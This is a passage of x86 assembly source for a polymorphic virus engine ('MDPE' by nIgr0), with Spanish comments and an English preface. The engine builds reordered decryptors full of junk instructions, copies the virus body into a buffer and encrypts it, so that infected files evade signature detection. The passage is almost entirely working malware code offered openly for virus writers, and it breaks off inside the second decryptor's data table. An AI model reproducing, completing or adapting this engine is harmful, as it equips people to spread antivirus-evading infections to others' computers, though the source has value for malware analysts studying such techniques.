;************************************************************* ;* * ;* MDPE (MULTY DECRIPTOR POLY ENGINE) * ;* Poly Engine de 32 bits by nIgr0 * ;* * ;************************************************************* ; PARAMETROS: ; EDI = buffer donde se guardar  el virii encriptado ; ESI = Offset a la zona a encriptar ; ECX = Tama¤o a encriptar/4 ; EBX = Load Adress del archivo infectado ; EBP = El delta offset ; ; Devuelve ECX = Tama¤o del virii con la nueva rutina de encriptaci¢n ; ; ; This poly has been commented in Spanish for that i've decided ; to do a little explanation in Engish. ; Here You have my last poly engine , it hasnt emulation but ; it cant be upgrated with new decriptors ,updating a data ; structure that is at the end of the poly. ; The poly look for a decriptor to generate in the data structure ; ,reordenate it and generate garbage for it. ; The garbage wont modify decriptor registers because the poly ; will know the registers used by the decriptor (with a mask data) ; and wont modify it. ; Otherwise it can generate garbage that modifies that registers ; ; Using : generate push register ; change mask_data_for_this_register ; generate garbage (that could use this register) ; restore mask_data_value ; generate pop register ; ; The reordenation of the decriptor needs a data structure called ; dependency table , in every entry of this table are the ; number of the instructions that have to be generated before the ; instruction that correspond with the entry. ; With this information the poly can generate a new decriptor ; changing the instructions order. ; But it has a little problem, because in the decriptor there are instructions ; of the type jz salto, o push offset_salto , these instructions ; needs a realocation proccess that is carried by a relocation data ; structure, with the number of instructions that need relocation ; and the number of the instruction where the execution will jump. ; This relocation structure must to be modified by the poly while ; it is generating a new reordenated decriptor, because the number ; of instructions will change. ; ; The poly has fields unused to manage uninitialized registers, ; and registers that have been modified by an operation. ; These fields need and emulation process unimplemented by that could ; be implemented in new released of the engine. ; ; ; nIgr0 .386p .model flat,STDCALL extrn ExitProcess:PROC extrn MessageBoxA:PROC ;apis exportadas unicamente en la primera extrn CreateProcessA:proc ;generaci¢n extrn GetComputerNameA:proc buffersize equ offset end - offset start + 01000h .data text1 db 'Nigr0_lives_here!!!',0 text2 db 'Probando Poly Engine de 32 bits',0 .code inicio: pushad start: popad int 3h call getdelta getdelta: pop ebp sub ebp,offset getdelta lea edi,[ebp+end] ;LLAMO AL POLY ENGINE lea esi,[ebp+start] mov ecx,((offset end-offset start)/4)+1 lea ebx,[ebp+end] call Engine int 3h lea eax,ebp+end jmp eax ;probando el decriptor push 0ffh call ExitProcess ;****************************************************************** ;* Poly Engine * ;****************************************************************** Engine: pushad jmp firmapoly db ' MDPE (Multy Decriptor Poly Engine) by nIgr0 ',0 firmapoly: call Initvariables call InitSemilla ;inicializo la semilla call ElijeDec ;elije un decriptor para encriptar ;en ESI el puntero a la estructura del ;decriptor call GeneraDec ;Genera la rutina de desencriptacion call CopioCuerpoDelVirus ;Copia el cuerpo del virus al final del ;decriptor call EncriptoCuerpoDelVirus ;Y ahora lo encripta mov eax,dword ptr [ebp+startbody] mov edi,dword ptr [ebp+startbufaddrparam] mov ecx,dword ptr [ebp+sizeparam] sal ecx,2 add eax,ecx sub eax,edi sar eax,2 ;divido entre 4 inc eax mov ebx,esp mov dword ptr [ebx+24],eax ;guardo en la pila el nuevo tama¤o popad ret startbody dd 0h ;**** Inicializo variables del Decriptor ****************** Initvariables: pushad xor eax,eax mov dword ptr [ebp+startencaddrparam],esi ;Guardo los parametros mov dword ptr [ebp+startbufaddrparam],edi ;Pasados al poly mov dword ptr [ebp+sizeparam],ecx mov dword ptr [ebp+loadaddrparam],ebx lea edi,[ebp+off_a_rutinas] mov ecx,40 rep stosd ;pongo a 0 las tablas para la generacion de rutinas popad ret ;**** Encripto el Cuerpo del Virus llamando a la rutina de encriptacion ***** EncriptoCuerpoDelVirus: mov dword ptr [ebp+startbody],edi mov esi,dword ptr [ebp+startdiraenc] mov dword ptr [esi],edi ;Pongo la direccion del cuerpo ;del virus en el encriptor call dword ptr [ebp+encaddr] ;llamo al encriptor ret ;**** Copio el Cuerpo del Virus al buffer donde se encriptara ******* CopioCuerpoDelVirus: ;Entrada: EDI puntero al final push edi ; del decriptor mov esi,dword ptr [ebp+startencaddrparam] mov ecx,dword ptr [ebp+sizeparam] rep movsd ;copio el virus al buffer pop edi ret ;***** Inicializo los valores del Decriptor y el Encriptor *********** InicializaDecEnc: ;Entrada: ESI puntero a estructura SRD ; ECX tama¤o a encriptar ;Salida: ESI comienzo de la zona de opcodes ; ECX numero de instrucciones del ; decriptor call leepuntero mov dword ptr [eax],ecx ;Guardo el tama¤o en el decriptor call leepuntero mov dword ptr [eax],ecx xor eax,eax dec eax call numaleatorio ;Guardo tambien el num aleatorio xchg ebx,eax call leepuntero mov dword ptr [eax],ebx ;Meto el valor aleatorio en el decriptor call leepuntero ;y en el encriptor mov dword ptr [eax],ebx call leepuntero mov dword ptr [ebp+startdiraenc],eax lodsb mov byte ptr [ebp+regini],al lodsb mov byte ptr [ebp+regbloq],al lodsb mov byte ptr [ebp+regopera],al lodsd xchg eax,ecx ;En ecx devuelvo el numero de instrucciones ;a generar call leepuntero mov dword ptr [ebp+encaddr],eax ;Guardo la direccion de la rutina ;de encriptacion en la variable ;encaddr call leepuntero mov dword ptr [ebp+addrtabladep],eax ;guardo la direccion de la ;tabla de dependencias ;para reordenar el decriptor lodsd mov dword ptr [ebp+mascarareord],eax ;Guardo la mascara de ;reordenacion call leepuntero xchg eax,ebx ;en ebx devuelvo un puntero a la estructura ;reloc del decriptor call leepuntero xchg eax,esi ;Y en esi el comienzo de la estructura de ;opcodes ret leepuntero: lodsd add eax,ebp ret ;********** Mete Instruccion Basura ********************* MeteBasura: push esi ;apilo esi para no perder el puntero ;a la instruccion a insertar push ebx push ecx mov eax,07h ;5 instrucciones basura como maximo call numaleatorio xchg eax,ecx inc ecx otrainstruccion: push ecx call Mete_una_ins_basura pop ecx dec ecx jnz otrainstruccion pop ecx pop ebx pop esi ret ;******** Rutina que llama a un procedimiento de generacion de basura ****** Mete_una_ins_basura: mov eax,dword ptr [ebp+tiposbasura] call numaleatorio lea esi,[ebp+tablabasuras] add eax,eax add eax,eax add esi,eax lodsd ;en eax el puntero a la funcion que generara ;el tipo de instruccion basura call eax ;LLamo al generador de basura especifico ret ;********** Mete Otra instruccion del decriptor ********* MeteInstruccion: ;Entrada: ESI puntero a la instruccion ; EDI puntero a la posicion que ; tendra la ins en el buffer ;Salida: ESI puntero a la siguiente ; instruccion ; EDI se incrementara con el ; tama¤o de la instruccion push ecx push ebx xor eax,eax lodsb ;en eax tendre el tama¤o de la instruccion xchg eax,ecx lodsb or byte ptr [ebp+regini],al ;Realizo la mascara de bits ;Para saber en cada momento los registros ;que ya han sido inicializados rep movsb pop ebx pop ecx ret ;*************** Reordeno el Decriptor ******************************** ReordenaDec: ;Entrada EBX= Estructura de realocacion ; ESI= Estructura de opcodes ; ECX= Numero de Instrucciones ; del decriptor ;Salida EBX= Nueva estructura ; de realocacion ; ESI= Nueva estructura de opcodes pushad mov dword ptr [ebp+newdecorder],ecx mov dword ptr [ebp+ninstrucciones],ecx mov dword ptr [ebp+ebxtemp],ebx push esi push ecx mov esi,ebx ;copio la estructura reloc lea edi,[ebp+estructreloc] ;a una nueva zona ya que la voy mov ecx,8 ;a modificar rep movsd pop ecx pop esi lea edi,[ebp+DECRIPTOR] push esi mov edx,ecx push edx mas: cmp dword ptr [ebp+mascarareord],0 je salirRD pop eax ;en eax el numero de intrucciones del decriptor pop esi ;en esi el comienzo de la estructura de decriptors push esi push eax call numaleatorio ;Obtengo un numero de instruccion xchg eax,ecx call busca_mascara and edx,dword ptr [ebp+mascarareord] cmp edx,0 je mas ;Si ya se la he puesto busco otra instruccion. ;En ecx el numero de la instruccion (la primera es 0) call verificadependencias cmp edx,-1 je mas ;Si hay dependencias no realizadas busco otra instruccion call metoinsdec ;inserto una instruccion en el nuevo decriptor jmp mas salirRD: pop eax pop eax popad lea esi,[ebp+DECRIPTOR] ;ESI apunta ahora al nuevo decriptor lea ebx,[ebp+estructreloc] ;EBX apunta a la nueva estructura ; de realocacion ret verificadependencias: push esi push ecx xor edx,edx mov esi,dword ptr [ebp+addrtabladep] mov eax,016d mul cl add esi,eax ;esi apunta a una entrada en la tabla de ;dependencias otradep: xor eax,eax lodsb cmp al,0 je nohaydependencias xchg eax,ecx dec ecx call busca_mascara and edx,dword ptr [ebp+mascarareord] cmp edx,0 je otradep mov edx,-1 ;codigo de error hay depencias nohaydependencias: pop ecx pop esi ret metoinsdec: call cambiarelocations call busca_mascara xor dword ptr [ebp+mascarareord],edx ;marco la instruccion como ya ;insertada xor ebx,ebx nextins: cmp ebx,ecx je insencontrada xor eax,eax lodsb inc esi add esi,eax inc ebx ;paso a la siguiente instruccion del decriptor jmp nextins insencontrada: xor eax,eax lodsb stosb xchg eax,ecx inc ecx rep movsb ret cambiarelocations: pushad mov ebx,dword ptr [ebp+ebxtemp] mov eax,dword ptr [ebp+ninstrucciones] mov edx,dword ptr [ebp+newdecorder] lea edi,[ebp+estructreloc] sub eax,ecx cmp eax,dword ptr [ebx] jne ot1 mov dword ptr [edi],edx ot1: cmp eax,dword ptr [ebx+4] jne ot2 mov dword ptr [edi+4],edx ot2: cmp eax,dword ptr [ebx+8] jne ot3 mov dword ptr [edi+8],edx ot3: dec dword ptr [ebp+newdecorder] popad ret ebxtemp dd 0h ;Guardo temporalmente ebx con el valor del puntero ;a la reloc estructure ninstrucciones dd 0h ;Numero de instrucciones del decriptor newdecorder dd 0h ;Este es el numero de instruccion por la que vamos ;dentro del nuevo decriptor ;Por motivos de dise¤o: ;Va decreciendo a medida que nos acercamos al final ;con lo que 1 sera el numero de ;instruccion de la ultima instruccion. ;*************** Genera el Decriptor *********************************** ;Entrada: ESI puntero a estructura ; de datos del decriptor ;Salida: EDI direccion del final GeneraDec: ; del decriptor call InicializaDecEnc call ReordenaDec ;Reordeno el Decriptor mov edi,dword ptr [ebp+startbufaddrparam] ;Inicializo EDI con el ;Valor del Buffer mov al,060h stosb ;meto un pushad antes del decriptor otrainst: call MeteBasura call VerificaRelocs call MeteInstruccion dec ecx jnz otrainst call MeteBasura ;meto un poco mas de basura :) xor ecx,ecx call VerificaRelocs ;Verifico relocs con ecx=0 por si hay saltos ;al final del decriptor call ModificaRelocs call Crearllamadasaproc ret ;*********** Genero las llamadas a procedimientos ************************** Crearllamadasaproc: pushad xor ecx,ecx lea esi,[ebp+off_a_rutinas] lodsd or eax,eax je salircllp ;Si no hay rutinas generadas salgo fuera max: inc ecx lodsd or eax,eax je vamosaporelcall jmp max vamosaporelcall: lea esi,[ebp+off_a_llamadas] genero_call: ;en ecx tengo el numero de rutinas generadas mov eax,ecx call numaleatorio ; elijo una llamada add eax,eax add eax,eax lea ebx,[ebp+off_a_rutinas] add ebx,eax mov edx,dword ptr [ebx] ;en edx la direccion de la rutina lodsd or eax,eax je salircllp add eax,04h sub edx,eax mov dword ptr [eax-4h],edx ;llamada generada jmp genero_call salircllp: popad ret ;*** Modifica Relocs para que los saltos se realicen a direcciones correctas ************* ModificaRelocs: pushad mov eax,dword ptr [ebp+startdiradec] sub edi,dword ptr [ebp+startbufaddrparam] add edi,dword ptr [ebp+loadaddrparam] mov dword ptr [eax],edi ;inserto la direccion correcta de enc ;en el decriptor cmp dword ptr [ebx+4],00h je norelabs mov ecx,dword ptr [ebp+destinosaltoabs] mov eax,dword ptr [ebp+origensaltoabs] sub ecx,dword ptr [ebp+startbufaddrparam] add ecx,dword ptr [ebp+loadaddrparam] mov dword ptr [eax],ecx ;modifico el salto absoluto norelabs: cmp dword ptr [ebx+8],00h je norelrel mov ecx,dword ptr [ebp+origensaltorel] inc ecx mov eax,dword ptr [ebp+destinosaltorel] sub eax,ecx dec ecx mov byte ptr [ecx],al ;modifico el salto relativo norelrel: popad ret ;************** Verifica Relocs ******************************** ;Entrada: EBX puntero a la estructura VerificaRelocs: ; de realocacion del dec. ; EDI puntero a la instruccion ; que necesita realocacion pushad ; ECX el numero de instruccion cmp ecx,dword ptr [ebx] jne otraR1 mov eax,edi add eax,dword ptr [ebx+12] mov dword ptr [ebp+startdiradec],eax otraR1: cmp ecx,dword ptr [ebx+4] jne otraR2 mov eax,edi add eax,dword ptr [ebx+16] mov dword ptr [ebp+origensaltoabs],eax otraR2: cmp ecx,dword ptr [ebx+8] jne otraR3 mov eax,edi add eax,dword ptr [ebx+20] mov dword ptr [ebp+origensaltorel],eax otraR3: cmp ecx,dword ptr [ebx+24] jne otraR4 mov dword ptr [ebp+destinosaltoabs],edi otraR4: cmp ecx,dword ptr [ebx+28] jne otraR5 mov dword ptr [ebp+destinosaltorel],edi otraR5: popad ret ;*************** Elije un decriptor ************************************** ;en ESI devuelve un puntero a la ;estructura SRD ElijeDec: mov eax,dword ptr [ebp+numdec]; call numaleatorio lea esi,[ebp+tabladec] add eax,eax add eax,eax add esi,eax lodsd add eax,ebp xchg eax,esi ret ;*************** Inicializo la Semilla para el Slow Poly ***************** InitSemilla: pushad sidt qword ptr [ebp+idt] xor ebx,ebx mov dword ptr [ebp+semilla],ebx mov dword ptr [ebp+lastsemilla],ebx mov bx,word ptr [ebp+idt_limit] mov esi,dword ptr [ebp+idt_addr] mov cl,03h ror bx,cl otrovalor: lodsd add dword ptr [ebp+semilla],eax dec ebx jnz otrovalor ; mov eax,dword ptr [ebp+nombrecomp] ; mov dword ptr [ebp+semilla],eax ; mov eax,dword ptr [ebp+nombrecomp+4h] ; mov dword ptr [ebp+lastsemilla],eax popad ret idt: idt_limit dw 00h idt_addr dd 00h ;***************** Devuelve un valor entre 0 - (eax - 1) ************* numaleatorio: push ebx ;Entrada: Eax el limite del valor alea push edx ; a generar xchg eax,ebx ;Salida: Eax numero generado. call genaleatorio xor edx,edx div ebx xchg eax,edx pop edx pop ebx ret ;******** Genera N£meros pseudoAleatorios a partir de la semilla ******* genaleatorio: push ebx push ecx mov eax, dword ptr [ebp+semilla] ; EAX = semilla test eax, 80000000h ; is bit31 = [0] or [1] ? jz @@FALSE ; @@TRUE: xor eax, 57h ; [1] XOR bits 6, 4, 2, 1, and 0 @@FALSE: rol eax, 1 ; [0] & [1] rol mov dword ptr [ebp+semilla], eax ; semilla = EAX pop ecx pop ebx ret ;en eax devuelve el valor aleatorio semilla dd 00h lastsemilla dd 00h nombrecomp db 'nIgr0istheking!' variable dd 016d ;**************** Inserta Basura Nop *************************** mete_nop: mov al,090h ;Inserta un Nop como basura stosb ret ;********** Mete Mov inmediato por el decriptor ************ mete_mov_inmediato: call obtengo_reg_aleatorio call Init_al_bl call verifbloq or dl,dl je noestabloq jmp mete_mov_inmediato ;Solo sale cuando el registro esta bloqueado noestabloq: ;y esta bloqueado mov al,0b8h ;opcode de un mov eax,0 add al,cl stosb ;copio el opcode ; mov dl,01h ; rol dl,cl ; or byte ptr [ebp+regini],dl ;modifico el byte de registros ;inicializados xor eax,eax dec eax call numaleatorio stosd ;y ahora copio el inmediato salirmmi: ret ;******* Mete mov con un inmediato de un byte ************************** mete_mov_byte_inmediato: mov eax,04h call numaleatorio xchg eax,ecx call Init_al_bl call verifbloq or dl,dl je noestabloq3 jmp salirmmbi noestabloq3: ;Si no esta bloqueado mov eax,02h call numaleatorio or eax,eax jne noincrementar mov al,0b0h jmp seg noincrementar: mov al,0b4h seg: add al,cl stosb ;copio el opcode ; mov dl,01h ; rol dl,cl ; or byte ptr [ebp+regini],dl ;modifico el byte de registros ;inicializados mov eax,0ffh call numaleatorio stosb ;y ahora copio el inmediato salirmmbi: ret ;***** Inicializo registros a 0 con xor reg,reg o sub reg,reg ********* a_cero_con_xor_sub: call obtengo_reg_aleatorio call Init_al_bl ;inicializo al y bl con el valor de regini y regbloq call verifbloq or dl,dl je noestabloq2 jmp salirmmi2 ;Solo sale cuando el registro esta inicializado noestabloq2: ;y esta bloqueado mov eax,02h call numaleatorio ;SI devuelve 1 mete un sub si devuelve 0 un xor cmp eax,1 je mete_sub mov al,033h ;opcode de un xor jmp mete_op mete_sub: mov al,02bh mete_op:stosb ;copio el opcode lea esi,[ebp+tabla_xor] add esi,ecx lodsb stosb ;copio el byte a memoria ; mov dl,01h ; rol dl,cl ; or byte ptr [ebp+regini],dl ;modifico el byte de registros ;inicializados salirmmi2: ret tabla_xor: db 0c0h ;xor eax,eax db 0c9h ; ecx,ecx db 0d2h ; edx,edx db 0dbh ; ebx,ebx db 0e0h ; esp,esp db 0edh ; ebp,ebp db 0ffh ; edi,edi db 0f6h ; esi,esi ;******* Meto instrucciones Basura Push Pop *************************** mete_push_pop: cmp dword ptr [ebp+profundidad],2h jae salirmpp call obtengo_reg_aleatorio mov al,050h add al,cl stosb ;inserto el push inc dword ptr [ebp+profundidad] call MeteBasura ;mete basura entre el push y el pop dec dword ptr [ebp+profundidad] cojootroregistro: call obtengo_reg_aleatorio call Init_al_bl call verifbloq cmp dl,0 je insertar_pop jmp cojootroregistro insertar_pop: mov eax,058h add eax,ecx stosb ;inserto el pop ; mov dl,01h ; rol dl,cl ; or byte ptr [ebp+regini],dl ;el registro del pop ya estara ;inicializado salirmpp: ret ;********* Introduce instrucciones de incremento y decremento *********** mete_inc_dec: call obtengo_reg_aleatorio call Init_al_bl call verifbloq cmp dl,0 jne mete_inc_dec mov eax,02h call numaleatorio cmp eax,0h je metedec meteinc: mov al,040h jmp meteopid metedec: mov al,048h meteopid:add al,cl ;obtengo el opcode correcto sumando el numero de registro stosb salirmid: ret ;******* Mete saltos condicionales *********************************** mete_salto_condicional: cmp dword ptr [ebp+profundidad],2h jae salirmsc mov eax,00fh call numaleatorio xchg eax,ebx mov al,00fh stosb mov al,080h add eax,ebx stosb stosd push edi inc dword ptr [ebp+profundidad] call MeteBasura dec dword ptr [ebp+profundidad] pop esi mov eax,esi mov ebx,edi sub esi,4h sub ebx,eax mov dword ptr [esi],ebx ;relleno el valor del salto condiconal salirmsc: ret ;********* Se encarga de meter instrucciones ror o rol ,inmediato ******** mete_rotacion_inm: call obtengo_reg_aleatorio call Init_al_bl call verifbloq or dl,dl jne mete_rotacion_inm mov al,0c1h stosb add cl,0c0h xchg eax,ecx stosb mov eax,032h call numaleatorio stosb ret ;******** Mete Comparacion Registro Registro ,seguido de un salto cond ***** mete_comparacion_reg_reg: mov al,03bh stosb ;mete el opcode un un cmp reg,reg call obtengo_reg_aleatorio mov ebx,0ch mov eax,04h call numaleatorio add eax,ebx rol eax,4h add al,cl stosb call mete_salto_condicional ret ;****** Mete instrucciones add adc sub sbb and con un inm de 1 byte ******* mete_add_adc_sub_sbb_or_and_inm: mov al,083h stosb ;meto el opcode general de todas ellas mov ebx,0ch mov eax,03h call numaleatorio add eax,ebx rol eax,4h push eax busca_otro_reg: call obtengo_reg_aleatorio call Init_al_bl call verifbloq or dl,dl jne busca_otro_reg ;busco un registro no bloqueado xor eax,eax inc eax call numaleatorio or eax,eax je saltito add cl,08h saltito: pop eax add eax,ecx stosb ;completo la instruccion xor eax,eax dec eax call numaleatorio stosb ;meto el inmediato ret ;******* Mete bucle con contador descendiente ************************ mete_bucle_cont_des: cmp dword ptr [ebp+profundidad],2h jae salirmbcd call obtengo_reg_aleatorio call Init_al_bl call verifbloq cmp dl,0 jne mete_bucle_cont_des ;busco un registro no bloqueado call busca_mascara xor dword ptr [ebp+regbloq],edx ;bloqueo el registro ;que voy a utilizar como contador push edx mov al,0b8h add al,cl stosb mov eax,010h call numaleatorio stosd ;inserto instruccion mov regcontador,inmediato push edi inc dword ptr [ebp+profundidad] call MeteBasura dec dword ptr [ebp+profundidad] pop ebx pop edx xor dword ptr [ebp+regbloq],edx mov al,048h add al,cl stosb ;meto instruccion dec regcontador mov al,074h stosb mov eax,edi inc eax sub ebx,eax xchg eax,ebx stosb ;meto el je otro_mas salirmbcd: ret ;**** Mete Mov reg,reg ****************************************************** mete_mov_reg_reg: call obtengo_reg_aleatorio call Init_al_bl call verifbloq or dl,dl jne mete_mov_reg_reg mov al,08bh stosb ;meto el opcode de un mov reg,reg mov eax,08h mul cl add eax,0c0h xchg ebx,eax mov eax,08h call numaleatorio add eax,ebx stosb ret ;*** Mete procedimientos y se guarda su entry_point para poder resolver llamadas *** mete_rutina: cmp dword ptr [ebp+profundidad],2h jae salirmr mov ecx,9 lea esi,[ebp+off_a_rutinas] otra_ent: lodsd or eax,eax je encontrado_hueco dec ecx jne otra_ent jmp salirmr encontrado_hueco: sub esi,04h mov eax,edi add eax,5h mov dword ptr [esi],eax ;guardo en la tabla el entry_point ;de la funcion mov al,0e9h ;meto el opcode de un jmp stosb stosd ;y ahora el inmediato push edi mov dword ptr [ebp+nocalls],1 ;deshabilito calls inc dword ptr [ebp+profundidad] ;para evitar bucles infinitos call MeteBasura dec dword ptr [ebp+profundidad] xor eax,eax mov dword ptr [ebp+nocalls],eax ;habilito calls mov al,0c3h stosb ;meto el ret mov ebx,edi pop eax sub ebx,eax sub eax,04h mov dword ptr [eax],ebx ;completo el jmp esquivar_proc salirmr: ret ;******** Inserta llamadas a procedimientos **************************** mete_call: ;Realmente solo reserva huecos ;para el salto ya que puede saltar ;a procedimientos que haya antes ;o despues del call cmp dword ptr [ebp+nocalls],0h jne salirmc mov ecx,29 lea esi,[ebp+off_a_llamadas] otra_ent2: lodsd or eax,eax je encontrado_hueco2 dec ecx jne otra_ent2 jmp salirmc encontrado_hueco2: mov al,0e8h ;opcode de un call realtivo stosb sub esi,04h mov dword ptr [esi],edi ;guardo la direccion de inmediato xor eax,eax ;en la tabla stosd ;meto hueco para el inmediato salirmc: ret ;**** Desbloquea temporalmente algun registro bloqueado ******************* ;**** Para poder generar basura con registros bloqueados ****************** debloquea_reg: cmp dword ptr [ebp+profundidad],2h jae salirdr call obtengo_reg_aleatorio call Init_al_bl call verifbloq or dl,dl je mete_mov_reg_reg mov al,050h add al,cl stosb ;inserto el push call busca_mascara xor dword ptr [ebp+regbloq],edx ;desbloqueo registro push edx push ecx ;apilo el registro inc dword ptr [ebp+profundidad] call MeteBasura ;mete basura entre el push y el pop dec dword ptr [ebp+profundidad] pop ecx pop edx xor dword ptr [ebp+regbloq],edx ;lo vuelvo a bloquear insertar_pop2: mov eax,058h add eax,ecx stosb ;inserto el pop salirdr: ret ;**** En cl recibo el numero del registro y devuelve en edx la mascara ****** busca_mascara: xor edx,edx inc edx rol edx,cl ret ;******* Inicializo al y bl con los valores de regbloq y regini ******* Init_al_bl: mov al,byte ptr [ebp+regbloq] ;en al el byte con registros bloqueados mov bl,byte ptr [ebp+regini] ;en bl el byte con registros inicializados ret ;****** Verifica si un registro indicado en cl esta bloquedado ******* verifbloq: call busca_mascara and dl,al ret ;******* Verifica si un registro indicado en cl a sido inicializado ****** verifini: call busca_mascara and dl,bl ret ;************* Obtiene un registro aleatorio ******************+ ;En ECX el numero que obtengo_reg_aleatorio: ;representa ese registro otronumero: mov eax,07h call numaleatorio xchg eax,ecx cmp ecx,4h ;No trabajo con el registro esp je otronumero ret ;************** Zona de datos pa el engine ********************* startencaddrparam dd 0 ;direccion del primer byte a encriptar startbufaddrparam dd 0 ;direccion del primer byte del buffer sizeparam dd 0 ;Tama¤o del encriptor loadaddrparam dd 0 ;Direccion Base del dec en el archivo a infectar regini db 0 ;Indica los registros inicializados regbloq db 0 ;Indica los registros utilizados por el ;decriptor regopera db 0 ;indica los registros a los que se a realizado ;alguna operacion startdiraenc dd 0 ;Aqu¡ esta la posicion del encriptor donde ;esta la direccion del cuerpo a encriptar ;Se necesitara rellenar esa posicion del encriptor ;cuando tengamos el decriptor generado y el cuerpo ;del virus este al final de este. startdiradec dd 0 ;Y aqui la posicion equivalente en el decriptor ;ya genereado en memoria encaddr dd 0 ;Direccion de la rutina de encriptacion destinosaltoabs dd 0 ;Direccion absoluta del salto absoluto destinosaltorel dd 0 ;Direccion absoluta del salto relativo origensaltoabs dd 0 ;Direccion origen del salto absoluto origensaltorel dd 0 ;Direccion origen del salto relativo addrtabladep dd 0 ;Direccion de la tabla de dependencias mascarareord dd 0 ;Es la mascara de reordenacion inicialmente ;hay tantos bits a 1 como instrucciones tiene el ;decriptor , amedida que se van reordenando las ;instrucciones se ponen esos bits a 0 profundidad dd 0h ;Numero de rutinas anidadas que se estan ejecutando tiposbasura dd 010h; ;Numero diferentes de tipos de basura tablabasuras: dd offset mete_salto_condicional dd offset mete_comparacion_reg_reg dd offset mete_nop dd offset mete_mov_inmediato dd offset mete_mov_byte_inmediato dd offset mete_push_pop dd offset a_cero_con_xor_sub dd offset a_cero_con_xor_sub dd offset mete_inc_dec dd offset mete_rotacion_inm dd offset mete_add_adc_sub_sbb_or_and_inm dd offset mete_bucle_cont_des dd offset mete_mov_reg_reg dd offset mete_rutina dd offset mete_call dd offset debloquea_reg off_a_rutinas: dd 00h,00h,00h,00h,00h,00h,00h,00h,00h,00h off_a_llamadas: dd 00h,00h,00h,00h,00h,00h,00h,00h,00h,00h dd 00h,00h,00h,00h,00h,00h,00h,00h,00h,00h dd 00h,00h,00h,00h,00h,00h,00h,00h,00h,00h nocalls dd 00h ;a 0 permite calls a 1 no lo permite estructreloc: inistartaddr dd 0h relocabsaddr dd 0h relocreladdr dd 0h despinistartaddr dd 0h desprelocabsaddr dd 0h desprelocreladdr dd 0h saltoabsdestino dd 0h saltoreldestino dd 0h DECRIPTOR: ;Aqu¡ residira el decriptor ya reordenado db 0100h dup(0h) ;***** Comienza la estructura Decritor con informacion acerca de ******* ;***** los decriptors disponibles ******* numdec dd 3h ;numero de decriptors tabladec: ;direccion de los decriptors dd offset SRD1 dd offset SRD2 dd offset SRD3 dd 00h SRD1: sizeaddr1 dd offset opsdec1+3 ;puntero a la posicion del decriptor ;donde esta el tama¤o a encriptar encsizeaddr1 dd offset enc1+1 ;puntero a la posicion del encriptor ;donde esta el tama¤o a encriptar randomaddr1 dd offset opsdec1+22 ;puntero a la posicion donde esta la ;clave de encriptacion encrandomaddr1 dd offset enc1+14 ;puntero a la posicion donde esta la ;clave de encriptacion en el dec encstartaddr1 dd offset enc1+6 ;Puntero donde esta el puntero a la ;zona a encriptar ;Orden de los registros desde el menos sign. ;eax/ecx/edx/ebx/?/ebp/esi/edi regini1 db 00h ;Indica los registros inicializados regbloq1 db 0C2h ;Indica los registros utilizados por el ;decriptor regopera1 db 0h ;Indica los registros a los que se a realizado ;alguna operacion numdeinst1 dd 9h ;Numero de Instrucciones encaddr1 dd offset enc1 ;Direccion de la rutina de encriptacion punterotabladep1 dd offset tabladep1 ;puntero a la tabla de dependencias mascarareord1 dd 01ffh ;la mascara de reordenacion structrel1 dd offset estructreloc1 decaddr1 dd offset opsdec1 ;Direccion de la estructura de desencriptado estructreloc1: ;Ojo los numero de instruccion estan al reves ;por motivo de dise¤o ;por lo tanto la instruccion 9 es la primera ;8 la segunda y la instruccion 0 es la siguiente ;la ultima instruccion. (para poder permitir saltos) ;a la siguiente instruccion del decriptor. inistartaddr1 dd 8h ;El numero de instruccion ;que se encarga de inicializar relocabsaddr1 dd 2h ;Valor necesario para realocatear relocreladdr1 dd 3h despinistartaddr1 dd 1h ;el desplazamiento respecto ;al comienzo de la instruccion desprelocabsaddr1 dd 1h ;Desplazamiento del valor respecto ;al comienzo de instrucciones desprelocreladdr1 dd 2h ;Desplazamiento del byte con la ;direccion del salto relativo saltoabsdestino1 dd 6h ;Con el salto absoluto salto a la ;instruccion 6h saltoreldestino1 dd 0h ;Con el salto relativo salto a la ;instrucion 0 es decir la ultima tabladep1: ;Aqui reside la tabla de dependencias ;Cada linea contiene el numero de linea ;de las instrucciones de las que depende ;(es decir las que tienen que ir antes que ella) ;las lineas tienen una longitud max de 16 bytes ;lo que limita las posibles instrucciones del ;decriptor a 15 db 0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h db 0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h db 02h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h db 01h,02h,03h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h db 01h,02h,03h,04h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h db 01h,02h,03h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h db 01h,02h,03h,04h,05h,06h,0h,0h,0h,0h,0h,0h,0h,0h,0h,0h db 01h,02h,03h,04h,05h,06h,07h,0h,0h,0h,0h,0h,0h,0h,0h,0h db 01h,02h,03h,04h,05h,06h,07h,08h,0h,0h,0h,0h,0h,0h,0h,0h ; (tama¤o)/(mascara de bits inicializados)/(opcodes de instrucciones) opsdec1 db 05h,002h,0b9h,00h,00h,00h,00h ;mov ecx,viriisize/4 db 05h,080h,0bfh,00h,00h,00h,00h ;mov edi,comienzo de la rutina db 02h,040h,08bh,0f7h ;mov esi,edi db 06h,00h,081h,037h,00h,00h,00h,00h ;xor dword ptr [edi],randomvalor db 01h,00h,0a5h ;movsd db 02h,00h,049h,09ch ;dec ecx /pushfd db 03h,00h,09dh,074h,00h ;popfd/je otro db 05h,00h,068h,00h,00h,00h,00h ;push inmediato db 01h,00h,0c3h ;ret ;FIN OF Opcode STRUCTURE enc1: db 0b9h,00h,00h,00h,00h ;mov ecx,viriisize/4 db 0bfh,00h,00h,00h,00h ;mov edi,comienzo de la rutina db 08bh,0f7h ;mov esi,edi salto1: db 081h,037h,00h,00h,00h,00h ;xor dword ptr [edi],randomvalor db 0a5h ;movsd db 049h ;dec ecx jne salto1 ret SRD2: sizeaddr2 dd offset opsdec2+10 encsizeaddr2 dd offset enc2+6 randomaddr2 dd offset opsdec2+24 encrandomaddr2 dd offset enc2+14 encstartaddr2 dd offset enc2+1 regini2 db 00h regbloq2 db 0C5h regopera2 db 0h numdeinst2 dd 9h encaddr2 dd offset enc2 punterotabladep2 dd offset tabladep2 mascarareord2 dd 01ffh structrel2 dd offset estructreloc2 decaddr2 dd offset opsdec2 estructreloc2: inistartaddr2 dd 9h relocabsaddr2 dd 2h relocreladdr2 